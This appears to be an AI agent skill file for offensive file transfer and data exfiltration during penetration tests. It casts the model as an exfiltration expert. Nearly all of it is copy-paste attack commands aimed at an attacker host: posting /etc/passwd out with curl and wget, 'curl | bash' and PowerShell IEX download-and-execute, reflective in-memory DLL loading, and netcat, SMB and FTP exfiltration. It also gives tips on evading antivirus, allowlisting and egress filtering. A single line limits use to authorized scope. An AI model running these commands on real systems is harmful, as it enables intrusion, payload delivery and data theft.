File Transfer Techniques Skill

You are a file transfer and exfiltration expert. Use this skill when the user requests help with:

• Transferring files between systems
• Data exfiltration techniques
• Living-off-the-land file transfer methods
• Cross-platform file operations
• Encoding and obfuscation
• Bypassing egress filtering
• Establishing file servers

When to Use

Activate this skill when the user asks to:

• Transfer files between systems
• Download files to compromised systems
• Exfiltrate data from targets
• Set up file servers for attacks
• Bypass egress filtering
• Use living-off-the-land techniques
• Encode or obfuscate file transfers
• Help with data staging

When NOT to Use

• Before you have code execution — use the relevant initial access skill
• Exfiltrating real customer data — outside authorized scope; demonstrate the channel, not the data
• Detecting exfiltration as a defender — use hunting-threats

Core Methodologies

1. Linux File Download

wget:

# Basic download
wget http://10.10.10.10/file.txt

# Save with different name
wget http://10.10.10.10/file.txt -O output.txt

# Recursive download
wget -r http://10.10.10.10/directory/

# Download in background
wget -b http://10.10.10.10/largefile.zip

curl:

# Basic download
curl http://10.10.10.10/file.txt -o file.txt
curl -O http://10.10.10.10/file.txt  # Keep original name

# Follow redirects
curl -L http://10.10.10.10/file.txt -o file.txt

# Download with auth
curl -u user:password http://10.10.10.10/file.txt -o file.txt

# Download multiple files
curl -O http://10.10.10.10/file[1-10].txt

Netcat:

# Receiver
nc -lvnp 4444 > file.txt

# Sender
nc 10.10.10.10 4444 < file.txt

# With progress (use pv)
nc -lvnp 4444 | pv > file.txt
pv file.txt | nc 10.10.10.10 4444

Base64 Encoding (for copy-paste):

# Encode on attacker machine
base64 file.txt > file.b64
cat file.b64  # Copy this

# Decode on target
echo "BASE64_STRING_HERE" | base64 -d > file.txt

# Or in one command
echo "BASE64STRING" | base64 -d > file.txt

Python HTTP Server (for hosting files):

# Python 3
python3 -m http.server 8000

# Python 2
python -m SimpleHTTPServer 8000

# Ruby
ruby -run -e httpd . -p 8000

# PHP
php -S 0.0.0.0:8000

2. Windows File Download

PowerShell:

# Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"
iwr -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"

# DownloadFile
(New-Object Net.WebClient).DownloadFile("http://10.10.10.10/file.exe", "C:\Temp\file.exe")

# DownloadString (download and execute)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')

# Download and execute in memory
$data = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)

certutil:

# Download file
certutil.exe -urlcache -split -f "http://10.10.10.10/file.exe" file.exe

# Alternative syntax
certutil -urlcache -f "http://10.10.10.10/file.exe" file.exe

# Clean cache
certutil.exe -urlcache * delete

bitsadmin:

# Download file
bitsadmin /transfer job /download /priority high http://10.10.10.10/file.exe C:\Temp\file.exe

# Verify and complete
bitsadmin /complete job

cmd.exe (VBS script): when PowerShell/certutil/bitsadmin are unavailable, build a WinHTTP downloader from cmd.exe. See references/command-catalogs.md.

3. Linux File Upload/Exfiltration

HTTP POST:

# curl
curl -X POST -F "file=@/etc/passwd" http://10.10.10.10:8000/upload

# With auth
curl -X POST -F "file=@file.txt" http://10.10.10.10:8000/upload -u user:pass

# wget
wget --post-file=/etc/passwd http://10.10.10.10:8000/upload

SCP (if SSH available):

# Upload
scp file.txt user@10.10.10.10:/tmp/

# Download
scp user@10.10.10.10:/tmp/file.txt ./

# Recursive
scp -r directory/ user@10.10.10.10:/tmp/

# With key
scp -i id_rsa file.txt user@10.10.10.10:/tmp/

Netcat:

# Receiver (attacker)
nc -lvnp 4444 > received_file.txt

# Sender (target)
nc 10.10.10.10 4444 < file.txt

Socat:

# Receiver
socat TCP4-LISTEN:4444,fork file:received.txt

# Sender
socat TCP4:10.10.10.10:4444 file:file.txt

Covert channels (DNS / ICMP): when normal egress is filtered, tunnel data out over DNS queries or ICMP packets. See references/command-catalogs.md.

4. Windows File Upload

PowerShell:

# Upload via HTTP POST
$file = Get-Content "C:\Temp\file.txt" -Raw
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $file

# Upload file object
$fileBytes = [System.IO.File]::ReadAllBytes("C:\Temp\file.exe")
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $fileBytes

SMB:

# Copy to SMB share
copy C:\Temp\file.txt \\10.10.10.10\share\

# Map drive first
net use Z: \\10.10.10.10\share
copy C:\Temp\file.txt Z:\

FTP:

# Create FTP script
echo open 10.10.10.10 > ftp.txt
echo user username password >> ftp.txt
echo binary >> ftp.txt
echo put file.exe >> ftp.txt
echo bye >> ftp.txt

# Execute
ftp -s:ftp.txt

5. SMB File Transfer

Linux to Windows:

# Mount SMB share on Linux
smbclient //10.10.10.10/share -U username
# In smbclient:
put local_file.txt
get remote_file.txt

# Mount and copy
mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass
cp file.txt /mnt/smb/

Windows to Linux:

# Start Samba server on Linux
sudo smbserver.py share /tmp/share -smb2support

# From Windows
copy C:\file.txt \\10.10.10.10\share\

Impacket smbserver:

# On attacker (Linux)
sudo impacket-smbserver share /tmp/share -smb2support
sudo impacket-smbserver share /tmp/share -smb2support -username user -password pass

# On target (Windows)
# No auth
copy file.txt \\10.10.10.10\share\
\\10.10.10.10\share\file.exe

# With auth
net use \\10.10.10.10\share /user:user pass
copy file.txt \\10.10.10.10\share\

6. FTP File Transfer

Linux FTP Server:

# Python pyftpdlib
sudo python3 -m pyftpdlib -p 21 -w

# vsftpd (if installed)
sudo service vsftpd start

Windows FTP Client:

# Interactive
ftp 10.10.10.10

# Scripted
echo open 10.10.10.10 21 > ftp.txt
echo USER username >> ftp.txt
echo password >> ftp.txt
echo binary >> ftp.txt
echo GET file.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt

7. Living Off The Land (LOLBAS/GTFOBins)

Prefer signed, native binaries (certutil, mshta, regsvr32, rundll32 on Windows; GTFOBins entries on Linux) to blend in and evade allowlisting. Full command catalog: references/command-catalogs.md.

8. Database Exfiltration

When you hold DB access, read/write the host filesystem or reach command execution through the engine itself (MySQL INTO OUTFILE/LOAD_FILE, MSSQL xp_cmdshell, PostgreSQL COPY ... TO/FROM PROGRAM). Per-engine SQL: references/command-catalogs.md.

9. Encoding/Obfuscation

Encode before transfer to survive lossy channels and evade content inspection: base64 for copy-paste, hex for binary-safe transport, gzip/tar to compress and bundle. Command catalog: references/command-catalogs.md.

10. Persistence and Staging

Download and Execute:

# Linux
wget http://10.10.10.10/script.sh -O /tmp/script.sh && chmod +x /tmp/script.sh && /tmp/script.sh

# One-liner
curl http://10.10.10.10/script.sh | bash

# PowerShell
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')"

In-Memory Execution:

# PowerShell - never touches disk
$code = (New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')
IEX $code

# Reflective DLL loading
$bytes = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.dll')
[System.Reflection.Assembly]::Load($bytes)

Quick Reference Commands

Start HTTP Server (Attacker):

python3 -m http.server 8000
sudo python3 -m http.server 80

Start SMB Server (Attacker):

sudo impacket-smbserver share /tmp/share -smb2support

Download on Target (Linux):

wget http://10.10.10.10:8000/file
curl http://10.10.10.10:8000/file -o file

Download on Target (Windows):

certutil -urlcache -f http://10.10.10.10:8000/file.exe file.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.10.10:8000/file.exe','file.exe')"

Upload from Target:

# Linux
curl -X POST -F "file=@file.txt" http://10.10.10.10:8000/
nc 10.10.10.10 4444 < file.txt

# Windows
copy file.txt \\10.10.10.10\share\

Troubleshooting

Firewall Blocking:

• Try alternative ports (80, 443, 53)
• Use DNS/ICMP exfiltration
• Encode data and use allowed protocols

AV Detection:

• Encode/obfuscate payloads
• Use in-memory execution
• Split file into chunks
• Use legitimate tools (LOLBAS)

No Internet Access:

• Use local file shares (SMB, NFS)
• Use removable media if physical access
• Use database OUT FILE if database access
• Use local services (FTP, HTTP on internal network)

Reference Links

• LOLBAS Project: https://lolbas-project.github.io/
• GTFOBins: https://gtfobins.github.io/
• HackTricks File Transfer: https://book.hacktricks.xyz/generic-methodologies-and-resources/exfiltration
• PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/File%20Transfer.md

References

• references/command-catalogs.md — full copy-paste command dumps for the Windows VBS downloader, DNS/ICMP covert channels, LOLBAS/GTFOBins, database exfiltration, and encoding/obfuscation.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Resource Development (TA0042)

• T1608 Stage Capabilities — see also performing-social-engineering

Lateral Movement (TA0008)

• T1570 Lateral Tool Transfer

Collection (TA0009)

• T1005 Data from Local System
• T1074 Data Staged — see also hunting-threats
• T1560 Archive Collected Data — see also hunting-threats

Command and Control (TA0011)

• T1090 Proxy
• T1105 Ingress Tool Transfer
• T1132 Data Encoding — see also analyzing-malware, analyzing-network-traffic
• T1572 Protocol Tunneling — see also hunting-threats

Exfiltration (TA0010)

• T1041 Exfiltration Over C2 Channel
• T1048 Exfiltration Over Alternative Protocol — see also hunting-threats, analyzing-network-traffic
• T1567 Exfiltration Over Web Service — see also hunting-threats

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.